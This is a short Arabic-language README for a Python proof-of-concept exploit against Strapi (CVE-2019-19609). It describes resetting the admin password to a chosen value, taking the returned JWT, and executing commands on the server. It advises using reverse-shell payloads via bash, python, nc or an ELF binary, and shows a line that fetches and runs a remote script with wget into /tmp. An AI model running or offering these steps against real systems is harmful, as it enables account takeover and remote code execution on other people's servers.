CVE-2019-19609-POC-Python

سيحاول السكربت إعادة تعيين كلمة المرور إلى القيمة المعلنة في المتغير "updated_pass"، وإذا نجح - سيعطي رمز JWT من Strapi ويستخدمه لتنفيذ الأوامر. تنفيذ أوامر bind لن يعمل إلا إذا أرسلت حمولة reverse shell، باستخدام bash أو python أو أي شيء آخر. يمكنك إنشاء ملف .sh يقوم بتنزيل nc لك وتنفيذه، أو أي شيء حقًا. حتى elf. للقيام بذلك، غيّر payload_exp من && إلى ). على سبيل المثال، && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) الرابط لم يعد نشطًا